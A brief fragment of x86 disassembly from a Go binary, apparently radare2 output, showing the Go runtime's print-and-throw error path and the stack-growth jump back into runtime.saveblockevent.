mov ecx, eax
call sym.runtime.panicSliceAcap
call sym.runtime.printlock
lea eax, [0x58d56b]
mov dword [esp], eax
mov dword [esp + 4], 0xf
call sym.runtime.printstring
mov eax, dword [esp + 0x38]
mov dword [esp], eax
sar eax, 0x1f
mov dword [esp + 4], eax
call sym.runtime.printint
call sym.runtime.printunlock
lea eax, [0x58e496]
mov dword [esp], eax
mov dword [esp + 4], 0x12
call sym.runtime.throw
nop
call sym.runtime.morestack_noctxt
jmp sym.runtime.saveblockevent